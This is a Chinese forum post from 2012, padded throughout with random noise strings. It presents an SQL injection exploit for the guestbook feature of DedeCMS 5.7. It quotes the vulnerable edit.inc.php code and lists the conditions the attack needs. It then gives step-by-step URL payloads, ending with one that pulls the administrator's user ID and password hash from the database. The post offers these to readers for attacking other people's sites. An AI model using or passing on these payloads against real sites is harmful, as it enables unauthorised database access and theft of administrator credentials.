找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4086|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
* S' x5 A: _. M& y3 d
/ Q  b  T" M) X9 Y  p) F漏洞文件edit.inc.php具体代码:
4 |6 x/ o. \9 Y, ?* J0 z% ?/ l+ }; u
/ J' G# R* F% b5 c3 I9 V' h5 [< ?php  ; W' l: i4 _1 |, E; B3 `

8 C5 x" k: |/ ^2 d" b2 \( Bif(!defined('DEDEINC')) exit('Request Error!');  
5 j4 r( F+ }& ?( n( E2 \% {
1 }% Z8 M5 ^/ n+ e: ^0 P, `: f- J   
. ^1 w: R! {' Y4 A- Q7 z; H; C5 A" Y5 q
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  : H1 `' F# `- G/ u! j; g5 |" L5 s

5 T8 z& U3 j- o1 r% Zelse $GUEST_BOOK_POS = "guestbook.php";  
9 g: \1 s% I+ ?' T5 D
: z2 y/ w) v. \0 w: @   
5 h, c9 b, j* B( H' W. J
" z0 P  d% b' M! [$id = intval($id);  
* _: u) `! Z; E9 ~% U+ U- e2 G! ^- U( r) R. r1 n+ `4 _
if(empty($job)) $job='view';  
0 J9 \7 c* j2 F- |$ N- c& G
8 A. s- {% L0 m   
5 M* O, w. K7 r
/ a& s( O; J8 qif($job=='del' && $g_isadmin)  ; t* h1 T; m( U

" I$ \* ]4 X  U+ V7 ^6 s% d{  ! w9 a2 d' l* S6 G* ]; V% L. [

# b9 z# n" o% W8 w- F" N$ k. M9 H$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
0 ?5 l8 }% }% E- U" b6 ]5 `' U& L) b
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  % R# b) [: H: N
" y8 F3 I( X1 _; d; \) f9 g4 ^' F
exit();  6 O* {' j$ @1 W6 U8 i  N' z
8 ^2 r% x) N" N( B
}  
1 M, E2 e3 v+ y$ ?# }; U- h# E- e1 u% u+ _* l; y8 W# D
else if($job=='check' && $g_isadmin)  
6 h, t3 \$ D1 F  I& u
) {, ^5 b* c* h$ Q4 H{  
: X7 i1 _' {0 z% R  Z. J" b, Q2 ^2 T: Z( Z3 I6 o5 h
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  # H  A7 ]6 }% M, m
  q  f* a6 }' L
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  $ {) \) V& `0 M1 C
# k  V& {8 R  |0 L! G5 E
exit();  
- j" x8 s- h. v1 S. O1 @) w; i+ ~) i* [1 T
}  
2 t5 S$ ~. x1 l# N# x& K1 @6 Y# E9 P
  l0 k; S+ ]; o* P0 d* p+ Welse if($job=='editok')  + h( f2 \  |: X2 a2 q( x  R

3 S  _1 j0 Y# ^6 ]  j0 x9 e{  
# z- b2 G+ {" ^7 G( w& b! P
+ c8 h9 J! Q2 o) C- B% @7 h2 s$remsg = trim($remsg);  
$ T/ ?5 O! W) H' ]1 J  M
5 U1 o) Z3 Z# H# o) jif($remsg!='')  ! f. P3 S) a* h/ X3 x. h

+ t' A0 z% L. k{  
: Q( O, Y$ J5 a8 K, _' J! x9 j# `- \. M- M8 K" e3 t/ b
//管理员回复不过滤HTML By:Errorera blog:errs.cc  8 d+ l2 y* D, C  Z6 s- h

4 R4 \+ b9 p7 @: t: e  p% [1 U; uif($g_isadmin)  
! w8 z- C, x- i9 U, H7 J( {& \  k
2 C) ]) U' d7 e# x( K' L{  ( A& I+ x# a0 s  K# l% r: F
2 s3 m# J% G# L
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  # F, h5 ^9 C# d

) Q0 j+ {$ @2 X' t/ `//$remsg <br /><font color=red>管理员回复:</font> }  
: I3 E; A( u5 t4 O7 c# K: h
; Y2 n; D  z/ Helse   G+ q# q& G! ?

7 ]9 b6 e3 @8 c{  
2 ~. S0 o2 I* L+ k" s* v2 b, X$ `* F- b: V
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  " L: Z: x& D% ?! @' |
; L' {( |* S4 r% f5 o' w
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
9 @, Y) f0 w+ u4 O! a* E$ ^" Y1 y' h" s8 k: F5 z
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
& X% k" L$ g& f& `" c* ~% P8 C8 U5 K$ g( E  H2 W
$msg = $oldmsg.$remsg;  
: _) N2 c  Q- {; x4 U. \6 }" e. t7 u/ z
}  
* D; A6 I7 O4 l9 c' ^3 Y
6 N- ?1 T1 S- Z* ]) c& J* t8 P}  7 F: s' [+ J- R, H. e: h7 B

& c  r9 o; W. r# l2 R//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  7 t0 o2 d: c# V2 w% P

% F5 @1 r9 S5 b! A$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
' i% P% h& s+ z" i* x( w/ }8 {4 t4 D2 ?! X
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
2 w6 L1 \- G5 i, P; R4 t+ n- s  F' D
1 M$ E  X, G' C0 l; j" Cexit();  * t; B, U$ _" C/ S1 T0 `& P
: A, H! D/ p! g. u4 r5 j
}  8 u( m; u' S  \5 `
; j6 U0 N6 f+ ]# U6 S9 n
//home:www.errs.cc  ; j2 d$ L- o! L# X; }
* M8 c* m  F$ N
if($g_isadmin)  
/ k+ T% q5 v. r' ~! a! s
9 t* v. k* l; v{  1 n5 z% ]/ g' X. t/ l

: l/ \* \; f- h! w$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  9 F9 n9 J' C4 J& }5 E

# u& w0 n, H9 s3 Y7 D  ~& Arequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
9 ~# g; M: H0 Y; S
- \9 O$ e0 @1 J% u}  6 L$ Z* S0 D) e2 X: |: D. H9 Z
8 z$ Q6 k. X3 l1 w1 _! z
else
( s  w, a2 [& N$ L
% G7 v8 Y( A+ G* @/ o0 d# j{  / S% B% j  O' B0 I. ~, x

. P+ k& _7 a1 W  \, o* v, |$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  : U1 t5 K! L) x, {  i8 g

$ Z7 B2 y9 I! K3 q: yrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
4 W% b& k: t8 E0 s2 u: U- S9 j2 y- t+ H5 w) ]1 K
} 漏洞成功需要条件:1 C# |- z0 i9 u: Z( W3 n' H
1. php magic_quotes_gpc=off, d; d) k7 _, A0 I, W
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。6 w% `# M& k" P9 y1 w( l* m
' I% y9 q! }! u6 @8 s0 z
怎么判断是否存在漏洞:
/ D- V8 w9 i* q. U先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
9 l( {8 w6 z8 _! S! [2 C4 x然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID/ U" u% H8 G% S! @0 n4 F
访问:
' F) @3 W. j" [0 G' `: S. U) k# x) `. l  m0 W0 c
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了% R8 R" D% Y, Y! B' e
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证4 Q8 y/ L) R1 l6 ^
% z9 X4 o2 A( {( e1 B2 x

) H6 O0 ~$ }' U3 @1 m4 b' m; |明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
0 q6 y' h1 T" e( M4 X' ?+ S如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。0 Y; R, k+ N* h. v
那么再次访问
4 s0 y' k7 S3 `$ }' ]) T# [3 V# f0 T
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
% H0 i% i$ b5 V) Y$ X7 ]! y3 v! p6 p7 g6 p+ F" ~# ?6 ]- l1 Q2 ^1 z
大概利用就是这样,大家有兴趣的多研究下!!
3 M, N! X9 {( d$ c4 Z
  g! b3 d; T! o8 o' n最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!, V4 g" N4 B5 h& X( h; l

. k9 K- |- {7 i  K' X" ^view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表